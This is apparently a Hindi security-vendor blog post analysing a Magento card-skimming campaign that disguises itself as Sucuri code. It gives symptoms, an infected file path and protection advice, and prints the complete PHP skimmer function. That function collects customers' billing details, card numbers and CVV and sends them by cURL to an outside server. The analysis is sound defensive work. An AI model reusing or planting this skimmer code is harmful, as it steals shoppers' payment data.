COVID-19 लॉकडाउन उपायों और दुनिया भर में आसन्न BFCM और क्रिसमस डिस्काउंट सेल के साथ, ऑनलाइन शॉपिंग इस साल बढ़ती जा रही है और इसके साथ, डिजिटल क्रेडिट कार्ड स्किमर हमले भी।
Telegram मैलवेयर अभियान पर हमारी हालिया रिपोर्ट के बाद, Astra Security के सुरक्षा शोधकर्ताओं ने एक और चल रहे क्रेडिट कार्ड स्किमिंग मैलवेयर अभियान का पता लगाया जो संवेदनशील ग्राहक जानकारी को संक्रमित ई-कॉमर्स स्टोर्स से चुराने के लिए सुरक्षा कंपनी 'Sucuri' का रूप धारण करता है। जबकि हमने इस मैलवेयर को मैगेंटो स्टोर्स को लक्षित करते हुए ट्रैक किया है, हालांकि, मैलवेयर के कुछ निशान Prestashop, OpenCart और WooCommerce जैसे अन्य CMSs में भी देखे गए हैं।
डिजिटल क्रेडिट कार्ड स्किमिंग हमला क्या है?
एक डिजिटल क्रेडिट कार्ड स्किमिंग हमला एक वेब-आधारित स्किमिंग हमला है जहां हैकर्स वेबसाइटों या ई-कॉमर्स स्टोर्स में दुर्भावनापूर्ण JavaScript कोड इंजेक्ट करते हैं ताकि उन्हें मैलवेयर से संक्रमित किया जा सके और अंततः वेबसाइट विज़िटर्स/ग्राहकों से क्रेडेंशियल्स और संवेदनशील भुगतान जानकारी चुराई जा सके। इन डिजिटल स्किमर्स का दुर्भावनापूर्ण कोड ज्यादातर साइट के भुगतान चेकआउट पेज पर मौजूद उपयोगकर्ता इनपुट फॉर्म्स में लगाया जाता है जो उपयोगकर्ता इनपुट को सूंघता है या नकली भुगतान फॉर्म्स के साथ एक iframe बनाकर ग्राहकों की क्रेडिट कार्ड जानकारी चुराता है।
डिजिटल स्किमिंग ने आज तक सैकड़ों हजारों वेबसाइटों को प्रभावित किया है, जिसमें British Airways, Macy's, Forbes, NewEgg और Ticketmaster जैसे हाई-प्रोफाइल ब्रांड शामिल हैं।
मैगेंटो क्रेडिट कार्ड स्किमिंग मैलवेयर के लक्षण
- ग्राहक आपके स्टोर पर इसका उपयोग करने के बाद अपने क्रेडिट कार्ड से अज्ञात लेनदेन के बारे में शिकायत करते हैं।
- आपके भुगतान प्रदाता/बैंक से ईमेल आपके स्टोर के भुगतान गेटवे की सुरक्षा के बारे में चेतावनी देता है।
- स्टोर में अतिरिक्त भुगतान विधि जोड़ी गई जिसे आप नहीं पहचानते।
- आपकी वेबसाइट में 'Sucuri' शब्द वाला कोड जोड़ा गया, भले ही आप उस नाम के किसी उत्पाद का उपयोग न करें।
हैकर्स स्टोर्स को कैसे निशाना बना रहे हैं और उपयोगकर्ताओं को भुगतान जानकारी देने के लिए Sucuri फायरवॉल का रूप धारण कर रहे हैं
इस मैलवेयर अभियान के विश्लेषण के दौरान, हमारी शोध टीम ने पाया कि हैकर्स सक्रिय रूप से ई-कॉमर्स वेबसाइट्स (ज्यादातर मैगेंटो स्टोर्स) में इस क्रेडिट कार्ड स्किमिंग मैलवेयर को लगा रहे हैं और साइट विज़िटर्स या खरीदारों को चेकआउट के दौरान अपनी संवेदनशील जानकारी दर्ज करने के लिए धोखा दे रहे हैं। दुर्भावनापूर्ण क्रेडिट कार्ड स्किमर कोड इस फ़ाइल स्थान /app/code/core/Mage/Payment/Model/Method/Cc.php पर एक संक्रमित साइट पर स्थित है।
यहां, हमलावर एक फंक्शन $this->sucuri_encrypted(); जोड़ रहे हैं जो उन्हें चेकआउट प्रक्रिया के दौरान उपयोगकर्ता द्वारा दर्ज डेटा को एक्सफिल्ट्रेट करने की अनुमति देता है। और एक्सफिल्ट्रेटेड डेटा https://www.thebrandstore.gr/js/i.php पर भेजा जा रहा है।
चोरी किए गए डेटा में ग्राहकों की संवेदनशील जानकारी शामिल है जिसमें उनका पहला नाम, अंतिम नाम, पता, फोन नंबर, और क्रेडिट कार्ड विवरण शामिल हैं।
नीचे हमलावरों द्वारा इस मैलवेयर अभियान में उपयोग किए गए कोड नमूना दिया गया है:
function sucuri_encrypted() { $info = $this->getInfoInstance(); $object = new Mage_Checkout_Block_Onepage_Billing; $address1 = $object->getQuote()->getBillingAddress(); $data1 = $address1->getFirstname(); $data2 = $address1->getLastname(); $data3 = $address1->getStreet(1); $data4 = $address1->getStreet(2); $data5 = $address1->getCity(); $data6 = $address1->getRegion(); $data7 = $address1->getPostcode(); $data8 = $address1->getCountry(); $data9 = $address1->getTelephone(); $data10 = $info->getCcNumber(); $expyear = substr($info->getCcExpYear(), -2); $expmonth = $info->getCcExpMonth(); if (strlen($expmonth) == 1) { $expmonth = '0'.$expmonth; }; $data11 = $expmonth; $data12 = $expyear; $data13 = $info->getCcCid(); $data15 = $_SERVER['SERVER_NAME']; $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail(); //create array of data to be secured $sucuri_firewall['firstname'] = base64_encode($data1); $sucuri_firewall['lastname'] = base64_encode($data2); $sucuri_firewall['address'] = base64_encode($data3); $sucuri_firewall['address2'] = base64_encode($data4); $sucuri_firewall['city'] = base64_encode($data5); $sucuri_firewall['state'] = base64_encode($data6); $sucuri_firewall['zip'] = base64_encode($data7); $sucuri_firewall['country'] = base64_encode($data8); $sucuri_firewall['phone'] = base64_encode($data9); $sucuri_firewall['cc'] = base64_encode($data10); $sucuri_firewall['exp'] = base64_encode($data11); $sucuri_firewall['expyear'] = base64_encode($data12); $sucuri_firewall['cvv'] = base64_encode($data13); $sucuri_firewall['email'] = base64_encode($data16); $sucuri_firewall['dari'] = base64_encode($data15); $sucuri_firewall['submit'] = 'Submit'; //traverse array and prepare data for posting (key1=value1) foreach ( $sucuri_firewall as $key => $value) { $post_items[] = $key . '=' . $value; } //create the final string to be posted using implode() $post_string = implode ('&', $post_items); //create cURL connection $curl_connection = curl_init('https://www.thebrandstore.gr/js/i.php'); //set options curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"); curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1); //set data to be posted curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post_string); //perform our request $result = curl_exec($curl_connection); curl_close($curl_connection); } } }.जैसा कि आप ऊपर दिए गए कोड में देख सकते हैं, क्रेडिट कार्ड जानकारी चुराने वाला एक फंक्शन नाम $this->sucuri_encrypted(); जोड़ता है जो एक नकली Sucuri फायरवॉल कोड प्रदर्शित करता है।
अपने ई-कॉमर्स स्टोर को इस मैलवेयर से कैसे बचाएं
इस मैलवेयर से संक्रमित ई-कॉमर्स वेबसाइट्स या स्टोर्स को अपने ग्राहकों की संवेदनशील जानकारी चोरी होने के कारण राजस्व के साथ-साथ ग्राहक विश्वास में भारी नुकसान हो सकता है और वैध ऑर्डर नहीं दिए जा रहे हैं या भुगतान नहीं किए जा रहे हैं। इसलिए, साइट मालिकों को सलाह दी जाती है कि वे अपने साइट्स और ग्राहक डेटा को इस तरह के क्रेडिट कार्ड स्किमर और किसी अन्य मैलवेयर अभियान के खिलाफ बचाने के लिए पूर्व सुरक्षा उपायों को लागू करें।
यदि आप Astra Security के एप्लिकेशन फायरवॉल का उपयोग कर रहे हैं तो आपका ई-कॉमर्स स्टोर पहले से ही इस हमले और SQLi, XSS, CSRF, LFI, RFI, क्रेडिट कार्ड हैक्स, स्पैम, खराब बॉट्स आदि जैसे अन्य साइबर हमलों और भेद्यताओं से सुरक्षित है। इसके अलावा, सुरक्षा विशेषज्ञ लंबे समय से वेबसाइटों की सुरक्षा के लिए एक प्रमुख सुरक्षा उपाय के रूप में नियमित मैलवेयर स्कैनिंग की सिफारिश कर रहे हैं, यह समय है कि आप अपनी वेबसाइटों को उचित सुरक्षा उपायों के साथ तैयार करें ताकि यह हर समय सुरक्षित रहे।
